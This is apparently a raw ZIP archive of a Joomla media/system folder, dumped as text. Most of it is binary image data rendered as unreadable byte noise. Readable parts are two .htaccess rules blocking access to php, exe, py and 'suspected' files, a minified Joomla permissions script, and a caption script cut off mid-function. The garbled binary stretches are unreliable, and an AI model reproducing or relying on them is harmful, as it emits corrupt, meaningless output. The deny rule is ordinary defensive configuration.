IHDRV�gIDATx���RSg�WN$4����K�%p	�x\B9�A���19�)A��B��� EGQN��c�cg�?o׷�)!;�f�Y߷ֻ�;{�M_#)|��C�7��p��X����Q���3~˃c\�x��"�ɘǣ�����h4�`��fވ�>�}by&��#h���o��/a\�yߎ��2v k��Q
�x6��
=a�~(�wi����@��0�&���i�gi`�0�#��W�:/nط��؏��a�=���3�=���5ѓ5Z��@Ùw]�X�Z2z�@=�d��:��d�5ы�T�y`_d�����m��w��V�kԾ��Q�н�V�D/A˻`����$eǎ�Rf��{�kԩk@�l�5΃�@-�\���poA۵%�eӶW�����Y��u6
"��m8f��0r�»lں�r�tgH���K���%8'sw
Y���L��=l�̰N��������i5FMkP��2?Y��wF�H0�M��T���5��oK6����8�@�@u��\J|R�"�%���6����]o�Q���^��
C�>�jg@
�i��%�L�����꧈��O��9b�ٴs*F۰(�
�7瑖����{���Τ��ֿ���`z�yPwc���|�|8n<|��jfE?%���
��_��O�9����)~��Mm+ Ǵ�D��k��L�䘲fTOC[5��~J��r��8Y�'A�r�*]��i�+峏RF�d�X����l�J}p<^N0uV�|�����@��D=�sL�P���^�0;�i٘Um�����l�/l�9�񺭷�]m����>꣏F�Ǧ)�R9�}�
��>P��G�lF�[ށm�${/��G�N�P>s�*��	QɠD�"�[S솹�&{t%�l�]m�2m����ڵ.���XXod=�E=FE�V��(l�QA+����p��S�K��d�t�5�{f���3� �g�g��F+��	0�6�p���{q���i
�A���E"��Jy�9)�>��1�X��H�5�Ŀ~��M�PIEND�B`�PK!Q�Kՠ�images/sort1.pngnu�[����PNG


IHDR��(�tRNS�[�"�YIDATxc���U�755��=�(޶t�����d�w��������6�����0���c�>������~�����	��C����m�/���IEND�B`�PK!�uhhimages/sort_desc.pngnu�[����PNG


IHDRVu\�/IDAT(�cHII�O
f E10��r)�s16���rgಁ$
�uQމYD�IEND�B`�PK!�Y�^^images/notice-alert.pngnu�[����PNG


IHDRV�g%IDATxՖ5�WE�7р������w��W�R�L�>̜�����Ff�ɝ���~k��-�{���\:��Y"_E�p�W�������Ϋ�{>��@%�y��^^sŀ#O��M&ۦɁ�z�7_���g􀀷_)�y�E`�E��l��q7��c$*O0�M͙h)=(�f��Qh[z��`�U|8Ņ��x8V����!=�*�%�;޼�^ց{ct�C�{N��3J�m*�5F��5َ[��=CY�5I�o����k#�K�h����8��1H�|]iq8�qq���\��\���4�Smr�8O5W�v(g0�h]�;��p�˜Nip��Ntڊ�������~箑�O��4�!�&4�I����	���H�$�(�@LյT�����R����L�Q��h�R��"/�S_Gz4�D9�Ê��T�$+���$+�k���@9��J���S7���&E��'�c�,���I|��t_�ٺ?��2{��!ۂ϶�vb7��2ٟ`����Έ��+%���UaW����v15��!�{s���(�M!e_ؒ�)���S���
���K�&�����'��8�Kh��*�P�<�r/�X�2A��]�<�K�s�Ԗm����0�%+F,j:bQ\��i�XP��EA5���aV@�찀yi+�,��bV�mL�Ü��2t>i��.�h�ݑ������1#f�m���cf�*�3#n��hρ�)�Gt���Ӄ�����o���[J෰�G��#a-�"���B:C����|_��8��~���J�
���ҙ�	�i���;<�pH�X�IEND�B`�PK!���?��images/pdf_button.pngnu�[����PNG


IHDR��h6tRNS���7X}7IDATx���~DQ��c��n��q�M�����>�m۶m�(���\���]E�R���kF:�Z�JK{:;��;X?�����FFg���srr211�O2>.E�������[�}�unj�Ȥ��m�	'eee�D��
gpx�O��	���`L��[���H���6]T��%������6�*վ���^�Vgg�9)*��o���F#
�����RS�BCwu:�X~i��F���EG�,.���b��,(�����H��V]]�Aݧa>��RX���������,\�=�?߯tℜV%M
�IEND�B`�PK!lh��__images/indent1.pngnu�[����PNG


IHDR		�Y�tRNS�[�"�IDATxc������`�RJ6J�1���IEND�B`�PK!F��ggimages/sort_none.pngnu�[����PNG


IHDRVu\�.IDAT(�c` ����LJA�$
 L�+H��y�h �yD�1~�,d�q���]��IEND�B`�PK!^p����images/icon-16-logout.pngnu�[����PNG


IHDR�ajIDATx��r,�s��7�m۶��#�{�8Ũ[��;϶�z=N�����=SMd��㇕��h�DK4���-Q@c�;�Q]&*�bꃁj��(sa��K���y�?%&	��(	
[��d.��}���Y�����ku+�I�o��>��c�����<��Ce ���Dor�2��u���U�\������X��6��,5�2U<�8OK|y5nj]p�*�>�W�^��R��ظ'^ܚ�dY�M�����MV��o�� ߇W��K�[�NR�6�T�֓Tx(�������3�j<��������	�wĘH�X$��x�l8N�;�����%e}��l��?�uhpis1]IEND�B`�PK!��mmimages/sort_asc.pngnu�[����PNG


IHDRs;tRNSv��8&IDATxc@))��9)(�(2�)`�CBe
`S�P���K��>e�IEND�B`�PK!�8�t��images/sort0.pngnu�[����PNG


IHDR��(�tRNS�[�"�PIDATxc����p����pvӤSϠ�%��_��S'�?�6���vө��.~�k�_�~�Γ'@��M�]�~�ɇ�v!Z[m�JC�IEND�B`�PK!Wdt���images/checked_out.pngnu�[����PNG


IHDR�aMIDATxc�	H�-�0u�����_�r���n�Dj.J�1w����F�����̂e+׼_�b�{ _����|����Y���
+֬�|��x5�lX�b� �.WQ�2����	�0y� ]������vN�������2m�y��7̜9���_�0c��/�����U�����d��G�����c����*��?o���G��	�%�m��t��V��:�6`O:A*ZqP\��P��߿����K�O�:����3�/_������96�
PPQ3�IJ��cמ����9�߾�����_�i��Qq���s�BgI��IEND�B`�PK!����images/edit.pngnu�[����PNG


IHDR٬tRNS����/�]IDATx����0��������Ň���b1,.F��������`08_�ᆵ��;��u�����d�Ǐ���� a�喐�a"j�B3��&cg8�pB����Kf���po�����0�o���������fkB�X���ݱrv���KL_1M��퐧#�^"|����]�v���
V�xo��u'�j�	:_�q���hyoph���k�RZg���"1�x��?e�'�>]�*�ZEK�0/�qg������.�9Ka����=0Bzê�I���|"@����r��\B����-\N�c)����2#���H�%�
H/Ֆ���V�B��oi���$�W�˖��<�����οDY7��IEND�B`�PK!�ߤ�99images/icon_error.gifnu�[���GIF87a��H�L�eP�f�3�++�������
��:9�p9�dz�97��>$��*'� �^�:4��?����&�E?�^*��������,@��'��b�f3�M6Aetmc��H�@3�P�2@hB��5il�CnG:V&���Q�2�	��x4���QaM�mY�"y4?W|Bf"=��	C@E��D@FHKxMdf�ILMQ
wj5�5r"v.x3Y~
w�X�[
L5�4f:�>�?"sB�<>����
����"!;PK!���images/rating_star_blank.pngnu�[����PNG


IHDR	�2��tRNS�[�"�[IDATx5Ƶ�0���af�CM�c�;u�_u���/@�U���V�MC�O�==J2���\+ҩ�vi�T�m¼q��d��W*�|����YD�VH6�>�IEND�B`�PK!�zg�PP!images/mooRainbow/moor_cursor.gifnu�[���GIF89a�������!�,!��i�X�F�����	_("`7���i��@Y�;PK!2Gs%%images/mooRainbow/blank.gifnu�[���GIF89ap!�,@D;PK!�[rCC#images/mooRainbow/moor_boverlay.pngnu�[����PNG


IHDR�{`�
IDATx�؁@@����V�m���O�e�3k����`�tx�/�� +�Xx�G V�������p7V�
`�X�4�@���g����@ �@ �@ �@�������@@���@��g V@8qb @!�X�����@�X7n��7V�
�+��
��p��
@G �@��7V�
�+��
��p��
@G �@��p��
@G �@��p��
@ |�3+ ���+ �@ �@ �@ �@o&��/��@�4>��h�X7�q` ��
��`���c�0^�X�
�`�x������%v�IEND�B`�PK!�+��\\!images/mooRainbow/moor_arrows.gifnu�[���GIF89a)	����nmo!�,)	@-T.���|B���F�\�op�ց�$�i������r�9���^�p�;PK!L�����!images/mooRainbow/moor_slider.pngnu�[����PNG


IHDR��hIDATx�˹	@0s�����j5~Ig$�c�4M�4M�v�'��L:�i��i�f=s�1M�4M�4�9?��<;�i��i�f=O�1M�4M�4�9?�<�1M�4M�4��Ԩu�'��IEND�B`�PK!��.���#images/mooRainbow/moor_woverlay.pngnu�[����PNG


IHDR�{`��IDATxb����?*F�PIL�B�(�����¤IWI�̈́|C.��c	3F�1�]:` �o���JCx                                    �������������������������������������������                                          0��)�:�IEND�B`�PK!AW�d��images/tooltip.pngnu�[����PNG


IHDR�a�IDATx}�+̬0�+��Xd%��r%v%Y[�Db����J�J�ʕ����f�'����L_
��[��o}��]@�{_qS��zIBܱ�P��~>Xw��	����+��Y�$F"n�
����'@��
��Ѝ�b�;�� <)�$>J=c����A9��>�����z3-1o��ܔ�jfFP��Z�b�|Å� �?Ն�{���1�G�۶s)
a?���PO����T~�f�v��D��
�E�(ړ�$�		խ����J�#cDB��x�Gx�lP��'?��K]��8T���
T�OL		}�>���(�-�{���
b�/���A�ݨk򕷄6�ebf�$��j`
I
�o7�63�c��'�B!�M���ϝE,}��	U�Tڡ2�Q.,���+��Qѱ�IEND�B`�PK!C�t2[[images/blank.pngnu�[����PNG


IHDREMإ��tRNS���IDATxc��?G"k�5��|���R�IEND�B`�PK!E�ib��images/livemarks-rtl.pngnu�[����PNG


IHDR�aJIDATx��S��F��I�w���k۶��Z�z�m?ն��Fm۶}�$�Lm�_<��s��������;����(nɜ�@�����i�/�KG�ύ�e���e]��:p<p%8� /I'=D�P5H:��஋��X�9��{�$���z�|��L>@��={0F������璉E�m�n��'��{܉]?������7�+Q����{���/P�W�0��)�F8�}�W�Gu�m"YI>
��R��q�M.��}����l��%p����iQ�S�G݅R���K�_��4�m�}��Sp�f�7bV��O�H<7��wQ�(𤢠cg2�����1�\���;w�D~�4I
%�!�Se�[��h�J�n3"�#|��X���$�+!����ϣ�P���G�*d#�x�^NUD#Ѿ
eW(J�Ux���^��Є�T�)���m��d�د�!
;��w6��G��H�!0�>�W�11>~]�����Sh����e�ҭ��zO�	���7���J�X
�\_���π�yJ����>x?^��?��t@j"w�KjK ����F��p#��d��IEND�B`�PK!e�QYYimages/indent.pngnu�[����PNG


IHDR		�Y�tRNS�[�"�IDATxc���Z���:�N�5ȏ�IEND�B`�PK!�x[[images/indent4.pngnu�[����PNG


IHDR		�Y�tRNS�[�"�IDATxc����Y@�l
��L];u$�IEND�B`�PK!x�ԙaaimages/indent3.pngnu�[����PNG


IHDR		�Y�tRNS�[�"�IDATxc����1X@�l
Y�Jq�}��IEND�B`�PK!��images/edit_unpublished.pngnu�[����PNG


IHDRO#+QtRNS�<��IDATx��5x[1`-�-���i)����R\������f�g�r�rMr�i�e�aN��{����t��G_�,�e2Z�t��D%�g4�#��ł;Fwu���a����;��d�ը�k�Ύq�[�/����J1�b����x��,�)�Pc��^ܓ��u�E5ti�~�|���[^k�n�$Y��ǯe�o��.�h��o�����^� ���$��T�c�38涐�?%���xT3�&��~Y�mW�ǰ�E)����Jx�5$�&S"m/�P_���q�B��Nx,c2�����W6�ZR�5��ajk)�~\���k��U�%UK�G���g
�$w�:��?W��H�ҟ�ԅ���)M��i�4����N�]p�����)b�����[��mcy�a�ng���)D1���:�ܣλ���m�HW���o��29�����q�@��P�c�%w�\m�����PY͟IEND�B`�PK!��n4��images/mootree.gifnu�[���GIF89a��}����@�����Y��␐����sss��ཽ��̦غ{��=U������͑ɭx��z��������L�oI����Š��ޤ˄�ڹ���|���ҕ��η�u�ٝzg@���Ծ�������Ҷ|��^�Ε��昹u�כ��ǿ�_�vQ����К��E���q]5��ū�T��6Ѳs��Y�����}ؼ�����ȋ�wB����ٮ����ǝg�߿�j�灛�I���Ʋ����Å�����洰W���ˬk�ċ�۟��R�ԗ��`�zT�Ħca+��<�������넄����ַx�׽Ӵuťd۽~ư���S����ħkvb:�zH�����sM�}X��E������|hA�Ϫ���ɬq���`n+��B���Wm.!�XMP DataXMP�?xpacke                                                                            
                            
?xpacket end="w"?>!�},�@��}��}����������������������������������	$�	_�����$���������������‚���������a�wf"@Rv�N^^,��,^N�����،����������^�X(���AnἜ@�o�	o'��a�"�D+jܘq�"+BN�c�
 	9� D*���I�$J��:��ɓ�ΞBtQp��6k�Us��^4�+'(��8H�8P�G)Ӟ�<�T$l���:u$2d���3��~h����=�m`���غ�+���Ihu&X̸�$ƍCN��d�a)]��h��&�Q�(�a�mxZ�V���	����n"��iF�-O�L�g��$����p��_��7��	�'�.��%R���4"ڞ�4 ���١����t����;L�pⲍ4�����*A���GPD�S-���F� ��
)�aX}����}f����8�J��ڋ/�(��b��E�|8:7���aŐVLQ�I+<�jp�LDy$I�8̎����"��	p��#`����[vy&�h��f�f~Ĝ>`Q�i�4�B��g~j�	RĜ@�ygs0R�d�9&bX2�@]�R�$�
@���b�榏t�i�RJI����)��dPƬ:�Q�
c��Rj�c�}�J��T�j���6bj�>�d��4���22���<2�٪:ɵ�tk-��>���A
�d��
��{�T栫��f��n"�V�/�ኈ�_|��%B��sZ�'���7�f��G�0���g%�!�#����7�SĔr9�|\gl�&����[�l�cd����&T��L��
S�a�΂ �R).���1'�E�!GyD=5Ѣ��6�G�H�`�f(�B(D���$N�N�q�r3���i1�x�m_�8ځ;PK!���images/weblink.pngnu�[����PNG


IHDR�a�IDATxu�p�X���vT=۶m���l۶m۶Y۶;���o�=S�?�%9I~���v��a�5��ߌ?�:���S9�:�U�B#�/��c<�F;q��RӴ[����Ͼ9X��`��uh� W�����jxZ�?^-���Tϼ�5�4.ۤHn�e�}E�ؤ��Au'>X.dzҤ�Z7��bRv���8.�gr߱�G��r��]l%��sC7���qYo٤�F�]?��d�3u�"�CO8�9��w�kd҅h���00TF��Ňc_r�!�w�`��X&���\��a�D{8����|.�Sv���f����R#C79�x���xR�͚�ʏ�#���7�O�F���q��Q$b���7�t�gYF�%6�]�J��t�o��j�e�ny_ƺ*^�‡xA���c5�~`��X�������L�[j�a0�%j��筪�$pL'A��>�k��q#���S����tTz����q�CV��JV��!Y�
���1��/��w%�I��Ȇn3ߙ�^���[���H�9όw1�29X���!�br�;��G&�Ba��(�����E���7�w}O�S8�B�0H�"���d�����,�!g/
]{��@�N�ɏ�/��Y�Xfp�ijN=�M,�i ��"
�R�Q�P��%SG��벢w�i/�����>s��g�z�B��%��Jj�/�4JE����f�uS�^9C��Jۖ<��L.���?mkIEND�B`�PK!�)��images/.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!�{�WWimages/modal/bg_w.pngnu�[����PNG


IHDR!�A�IDAT[cd`d�F4���̂��H���?�:�G�LIEND�B`�PK!VA�\\images/modal/bg_e.pngnu�[����PNG


IHDR!�A�#IDATxcd0g`b�����I���� ��h�R��T�IEND�B`�PK!�-vTTimages/modal/bg_ne.pngnu�[����PNG


IHDR!(��[,IDATx�ՋnQ��}�7V{=d�?d��л����*��B�A�d,��]$�x�i���D��i(0@0�!p���4D@�B��le("��A�D��+#��D��?��y���Zs���9 ����H�"� p�� �eA�0��/�i��̂ �ad��s*"`0��q#�1WM��^+R.��g�/��،� Fho,X*���U�r�:/��2���A������G�F`{�8��	��ͤ�]\|fD�@��q���wI�}~Z�O���F�vIEND�B`�PK!��8images/modal/closebox.pngnu�[����PNG


IHDR�9f)�IDATx���$[����j�����gm۶m۶�{�l۶mmm^Nw�1��	����n�@�@M7m�����4�����ter7-����Cd��΋:��7cq����U���%L�����Q���D��GZ�D�j��=/�*޷������	a���6�5�4���N���z��~���{KvjI\�#������&e�;�
���yO�A���8o���'Ǘ%)�0��jl�7���&zԗl���>"�M�Ia�X�K\�R�z���[��Ɋ&T��v���q�P���KD܂N=@|*�����%܄X�Ҁ?�va]r�M'���.�wt$�6�e
�����%zvkB&�`��ͦ�ѝ��Nt�LϷ�v7��4��ܬ�jd��菧Q�X>[�%m@?�;D��i�6�LF��;	���
�T�@�ã�N ��_[�@G�/����Ļܶ���� @�D�U�ZB�ֺ���(�}��o.B4��b�;L_C���q#�p�����c(E�#.�C��D�ꢿP��	}�I�z���*,W���F$��~Qk�־�%^�yX��e#V�ț��sDKՔj��U��6o0҇�_��x��ǎ������n��*��%�\��n�L�ى�#�6�G�\���5?�-�ٜN�z�?��E?�G%AA��s��Y�e��9�����Nߍ��,^~=�bix�3�5����';]����`(����a�@ij讓��'���`��M/s�};1]�!.F�J"��+�Q�ͻ��ψ���}�u������珇��>�A_�WR,$��9���r�/>�:��W_��b'�8�v�5�P$�}1k��pE����?�������Z�p����!��ؙ�|t�0�
l����A�^��f��3�9C,���
W��bN돑��ɬ����)F:G�^q:�3B9%Y���R�b䳕��P�kkm���@�#L0�jbK�^>1�ӊ�iB����0��=�IEND�B`�PK!W��PPimages/modal/bg_se.pngnu�[����PNG


IHDR!!��
�IDATx��n�P�����+�]Y�*���c{i7�X�0ُmG�ٽ
��z,+�1��d�U���u�/l��s/��ݞ3�� �P�rlL��Ã��#��Fx
F��(�PŠ:�/�Y�F`:Rx�{�2��"6	�{����?�/�0�G�2�l���A�{s�8 ����=�R��v�l�Gc
����,�~N���.���
�"Ty苘�辈7�pǀ[�m�����̿��"8fX�"��(}�^ަp�o��"�z+��$�<�Ž�?(R���O<IEND�B`�PK!_��GGimages/modal/bg_nw.pngnu�[����PNG


IHDR!(��[,IDATx��	n�@Cѡ&�?r�
;߰
'm�ꉒ�ӏ�O�ƴpN�>L(=O����5h^�)t>���(E�kD���`��LL��'&�}�9�
�z�"�>��Y���(2PF��:Fj�S@��� �M��
����:�B"3��0R��~|�M�^ M��p���A�D�{��ݑ�1\��}��g��pi���7�}�HD�z%�c�A�)Q�����f��?ʵvۄp�c���"B�`B�?�q|�.�IEND�B`�PK!@iU..images/modal/bg_sw.pngnu�[����PNG


IHDR!!��
��IDATx^��� �"��v7.�G��J|��%~U��{�s�vW��۹�8�pe��l��U��V���������B�8��\$�brD�(=��"�wg�: �5�ӧ`H<�!ē4"b�-�ҍ�r�e���#�d`�r#�9Ԍ�|#<��H�W��B�u� �P�A3b7�)�0�P��_N�b������K�&)hc&�a&�_�8�91g�Rf�AY�#b���v�B}9O"�2��IEND�B`�PK!Hg�%aaimages/modal/bg_n.pngnu�[����PNG


IHDR(��X�(IDATxcb`db`�!F	c0A�0�g ��2��0��0�_����M�IEND�B`�PK!���!!images/modal/spinner.gifnu�[���GIF89a�?


%%%666DDDLLLTTT[[[dddlllttt{{{������������������������������������������������������������������������������������������������������������������������������������������������������������!�NETSCAPE2.0!�?,�����n
��RC�~o�Y-1����J��eF�$�v1_oa��SFr��29?,	8:BS".J#EJ')C-W7"#
,W6C.&>K,�C9!;K 6?>$�'75-8)�+b1)#/(?5)�?:>!?!4W1/? >8�K>�?$�:IBA!�?,
X��p��$zD�+��!=�3�����~/�T))@B�X�r
��C	Ȅ����	w6D(>IB$0�B1�D3,�?:%�A!�?,Q��pXi�B��c~6CY[@~�g#�l���A������PT:ȆE�~'�F�D2:C<7
>B.%HMC"3�1WBA!�?,

O����L�H�,�M?ܢ��U2?
4B0%Y���*@~7�j��P�/D�~���<I�G��.
�j�?HA!�?,Z�����	���T�� �#���6��%����%,�V$G��0 =ݣ� ����][ 
w-w"{?>JH).{?(<{�?A!�?,P��o�Y	�_);^d��O�X�ʱ8"��$�
g�r�)�12��D��b8
?*=B1f.�f6^A!�?,

O��p��ňB,C�w�ȅ���FU!�2�d�2��1A�H�ߢ�x�$-������ 
@~-X=?	?(D�0D
	=?NCA!�?,
V��pH̸��S
ɼ�>�SH�T.��YB8dDA��6����
)h��B�	d���+�h	?	?,C"+?=2"C=a�<?:DA!�?,Q��p��
�X��?��XS�'��HL!�� 6Ԥ�Ӱ~�_�H)@�Z�J �?
0P'??
>5qG>7BOGA!�?,

N��0�	�BE�p !�C�zZS+�䞞_�`�����~�ꩠ�8V�H�(?4G.M??6zG_?HA!�?,
U����3��ȟ�!B�_��vѣ��u �SV1 FY�꓾M
ݘ�]>�Z�X*�X
"/I8??PG/)??8i$>?A!�?,S����W��W���O�\~AWP�~(�9�Fñ6�j�s�|�G��
!
5!'7?&*?0)#C:?!C1/? A;PK!r���``images/modal/bg_s.pngnu�[����PNG


IHDR!��	4'IDAT[c`0fb`fb�F�PI��#q�!q���b�0�Cu�s�IEND�B`�PK!�;�images/emailButton.pngnu�[����PNG


IHDR��h6tRNS���7X}�IDATxc�O"�����???�4c������߷_�<y��Ϋ�����������÷?/>����קD�.�X4�,|ڴ����ן�<|��ڳ@����5`ṷ� ���u�/�l�0�y�����e�����N����O@��s�C���y�O��|�]�q����T˦��IEND�B`�PK!s)X:PPimages/calendar.pngnu�[����PNG


IHDR�aIDATx����I���}�c۶K��b�rl뿈�۶}w��ۙ�,�U���L�&+���O'Cm�����?jnP���he�"Gf�-];
@�޹vr�!��]�<Zp9q�0����<���w��ף�{���`�@�l~FB|�����Wi>�|L�?�H�H���<y�|
P!�%E�ӳa�ݧ[�<�8�rXu�>���aݡ������/�}1�(Vy��f�������ݟ�!��d�H �;7��Ξ�(:��!�����ʔ(�m;���',���=0Bpq㱇~4�C�
���(�ō��p<�/��6�OJ������́�P�HQ�ߺ�5��e�m�r�9)�$�F}AIHsl���p��-,,��~�+ b���sҒb�J��X�0�!4��E�3����u�M�q���\������S��c��W�!T,�ĿO�R"O<7�{E��.�y����圴��S��!�I#�}S�\�ђ��������[���
��A�3f�vIIEND�B`�PK!vK�[[images/arrow_rtl.pngnu�[����PNG


IHDR		�"IDAT�c`�)������`
p*BV@�ID�	��>�(!x��IEND�B`�PK!# ����images/printButton.pngnu�[����PNG


IHDR(-S?PLTE����ݾ�Ϣ���NNN���������kkk�����������������N����������/���O̫gtRNS@��fSIDATx^��G�0EA�Kz��Y#}R���x���Ax�60_
Cబg�#����E�a���8k�) �F��P��ȥG�k�IEND�B`�PK!�g�j��images/notice-download.pngnu�[����PNG


IHDRV�g�IDATx��,GƯcg�3���El�I1V),���8�6�m�;>b�.�K�nfY)�����g���z(��5?}�(�hĪ���߰��+�W�y�{�>d�<c�@"N1~�#z���e��Hg�7v�~�@:X������Z{�+��k�p�^������,
���a�谎i"�5Xk9�n
�]��S���!�MEtpf�a�)C<5qd��8үc.�J��]p�׿}�ۖ�$�l�~���
y�Yޭc!ZE���ȅ)��S7Ы�EvI.G!�&����ߡ�:���Ҽ-�0�s8u�L����(e[#OZ�t8�j�H7�B_���٪�,�lm26�p�V'��nʅ���/m6@6ϳ��
��z
N(rb���N�x}�^H������mu�
�ΠT)�Ke�_�'�f�ʆT ��Q�u�:3+��&�:�MJW�PWj��l}���B�x/z?܍�_􁶲�Y1��a�N�eԥ��[E�"���F�N���O<����|fV�,��AXj�/Q'Y���1D�#X�oM���˯�RG'���,]j�,�ۥ�ns�u���S,n�����ݙTx]�
Pj���̘��e�t��I��TJ��Di.�E��lb��F;T[_�2!f���\6)i�'�Z��a�60ߕ��ہ��b���P*)X3w f/ϊ���Z�	��l�n�=	9�s&�_� �N�J�cGk6pl���.��T{�;�N���B��A�W �%AʖA���Zۺ��&H�}/��
�s�!���1r�1�R鵝Kgq���U)�UX%KMt|R��y��J'����q�x��\+�	Q�ԉ�'�� ���أgeR�>�价W(�a�^f!T���Y��TL!�A�ܶ�@f��y$�S$8 ��,k�;�����:��IEND�B`�PK!ч��images/new.pngnu�[����PNG


IHDR�a�IDATxڽ�!!F�wZ/�T���xq#�����H�9��̩8�ŝySL���11nk4|`zg���R}�,�R@Ġ��_`(<M�YZ���/�O��
β���#A+?u�d"߼\	�1��赪��e��|��(�T�\�/#>�DZ�O-�Bı&�q,��(.PH��ؼ��ĮF5��nD�E�
5�
�ς������d�T�*���p��6?�_��1��QIEND�B`�PK!9��  images/mootree_loader.gifnu�[���GIF89a�������������Ю��|||���!�NETSCAPE2.0!�
�,@D8��n�)(�����qSw� fL8�a�r���Bw	Qj��$�a�|��c�E.��X����!�
,>pHa��xD��!�%lc!!,{���t>y�@��h*J�F�Ci|�@�z�M#!�
,88�#�pC���h}�݀w4[�
�Q,' (D(δ��R;�D��8��& �D�W$!�
,
9p�I��(���&��q�}�	�e,\���xl�'���(���" �஗!�
,=�I�5Kq�-��
�x@�FQz�a�C �a�D|��7�ɂ#A���E���	D
&K�!�
,98�p��2H��hu_�Z�9����,�&���‚�W���Px#�ox��CL�;PK!�h��__images/indent2.pngnu�[����PNG


IHDR		�Y�tRNS�[�"�IDATxc��� ����0�8I=�2IEND�B`�PK!;��images/rating_star.pngnu�[����PNG


IHDR	";0LtRNS���7X}�IDATxu��AA��8Z�:@�2�������%"�}y�뷾coH�s~~^(*����x�Ͷ���iZ8�k+�����f�!��S�E�����X�>]__Ñ
:��x�yJ�<�P�8�
��M�,��ё���'�_l��ns�_�བྷ�!|����m�4P�0a�\�^������� P^H�">�����/�7`��g�,��)��IEND�B`�PK!�x[[images/indent5.pngnu�[����PNG


IHDR		�Y�tRNS�[�"�IDATxc����Y@�l
��L];u$�IEND�B`�PK!�G$��images/livemarks.pngnu�[����PNG


IHDR�aIIDATx���k�Ŷ�Bl'�ضm۶m۶m���o^��*{s�z9�g)�?!�My�ئ�za�o�
���NO�����D$. b������d86�zy��	�=���	ߝmoV�o�k�����dV�C_!rk�lo��l���JDn��u�mPD$�"���&h���X��;�rs^l���!��y�akRÆ4�PD��.�"�*��S`���̤-N�cV����
�eo7"W�ի2�	:,R�I	�� �C|�4'pNb^�-A��>kK��^��L�N`NB�������.��I�O��q�@]��"��2�	�L��6%A��8H�0�A�T\��&x���>�s�2�	Z	�8!x��(��U�#�[���o�O�p���/���2�	Z�jj�I�ay@��h�)8_���]mϫ�}�X޴�\�Lx; =�����G�|t��M��e��ś&�	M{;���]B��#H	"z
澩�M*�_�gh�혉uq�.���W^���NM�_�4@��"���^p��Uc��H�M佡�:Q��|�i,�J��J̧�*�"�~@Y���?�G!XR
��z�IEND�B`�PK!iA�/images/notice-note.pngnu�[����PNG


IHDRV�g�IDATx����@���9G���#p��`�m�%������,�}]��i:7�~x��`ŭ��]qpGҼ�p�nGnJ�ܥ�ޖ.�/Ѹ!�]T����u\���<\g�ћ\|K|�S+^N!|�E��C� ��rI�+�./J�����@�E�
t�*?ϡ|J�P�y:+���")
���Ŗ�1A�)<�"t��i3��(�HO��e�pB������ѳ���I�N1z�����CQ�<Q@N|�8D�E����h�l=**z4�1Q���q��AD̅�[
���{F4+��/����w���⓹蠩4N�}#�;Յ*z r0�!q��	�B?�w9&���蘃�dš�0Y;ʅ�	[}T�;��F%@8�z�X;5��yvt��3k�0�����g�s���q�a�l�C��>����sUt�Έ�IQ�Y
*=���nT�./fP���%>�{�qWuF�݂���F41�9�q��v�[��[����
7<���ʼ�ٟ6w��ѽ��}�����ޙ�H����/Ya?��w��#hC��c~�>�C�����yL���;�%`�fn����>�|}�a����U�/3Z�Ό�{4�z;JF��Nr�w����ũA*n�

|Nm���o�u���,��p�k�
�ݎF�{�ijA�t����y�7h��3|��uf8`�g8ð���ᯤ�_�[x�̋IEND�B`�PK!�k\kkimages/arrow.pngnu�[����PNG


IHDR		o�GtRNS���7X} IDATxc��)�€O�p�Av98"]��%��n�H�aIEND�B`�PK!�)��	.htaccessnu��6�$<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK!��Ȣiijs/permissions.jsnu�[���function sendPermissions(e){var t=document.getElementById("icon_"+this.id);t.removeAttribute("class"),t.setAttribute("style","background: url(../media/system/images/modal/spinner.gif); display: inline-block; width: 16px; height: 16px");var a="not",s=getUrlParam("component"),r=getUrlParam("extension"),o=getUrlParam("option"),l=getUrlParam("view"),n=s,i=this.value,m="";document.getElementById("jform_context")&&(m=document.getElementById("jform_context").value,m=m.split(".")[0]),"com_config"==o&&0==s&&0==r?a="root.1":0==r&&"component"==l?a=s:m?(a="group"==l?m+".fieldgroup."+getUrlParam("id"):m+".field."+getUrlParam("id"),n=document.getElementById("jform_title").value):0!=r&&0!=l?(a=r+"."+l+"."+getUrlParam("id"),n=document.getElementById("jform_title").value):0==r&&0!=l&&(a=o+"."+l+"."+getUrlParam("id"),n=document.getElementById("jform_title").value);var d=this.id.replace("jform_rules_",""),u=d.lastIndexOf("_"),c={comp:a,action:d.substring(0,u),rule:d.substring(u+1),value:i,title:n};Joomla.removeMessages(),jQuery.ajax({method:"POST",url:document.getElementById("permissions-sliders").getAttribute("data-ajaxuri"),data:c,datatype:"json"}).fail(function(e,a,s){t.removeAttribute("style"),Joomla.renderMessages(Joomla.ajaxErrorsMessages(e,a,s)),window.scrollTo(0,0),t.setAttribute("class","icon-cancel")}).done(function(a){t.removeAttribute("style"),a.data&&1==a.data.result&&(t.setAttribute("class","icon-save"),jQuery(e.target).parents().next("td").find("span").removeClass().addClass(a.data["class"]).html(a.data.text)),"object"==typeof a.messages&&null!==a.messages&&(Joomla.renderMessages(a.messages),a.data&&1==a.data.result?t.setAttribute("class","icon-save"):t.setAttribute("class","icon-cancel"),window.scrollTo(0,0))})}function getUrlParam(e){for(var t=window.location.search.substring(1),a=t.split("&"),s=0;s<a.length;s++){var r=a[s].split("=");if(r[0]==e)return r[1]}return!1}PK!�͇M11js/caption-uncompressed.jsnu�[���/**
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * JCaption javascript behavior
 *
 * Used for displaying image captions
 *
 * @package     Joomla
 * @since       1.5
 * @version  1.0
 */
var JCaption = function(_selector) {
    var $, selector,
    
    initialize = function(_selector) {
        $ = jQuery.noConflict();
        selector = _selector;
        $(selector).each(function(index, el) {
            createCaption(el);
        })
    },
    
    createCaption = function(element) {
        var $el = $(element), 
        caption = $el.attr('title'),
        width = $el.attr("width") || element.width,
        align = $el.attr("align") || $el.css("float") || element.style.styleFloat || "none",
        $p = $('<p/>', {
            "text" : caption,
            "class" : selector.replace('.', '_')
        }),
        $container = $('<div/>', {
            "class" : selector.replace('.', '_') + " " + align,
            "css" : {
                "float" : align,
                "width" : width
            }
        });
        $el.before($container);
        $container.append($el);
        if (caption !== "") {
            $container.append($p);
        }
    }
    initialize(_selector);
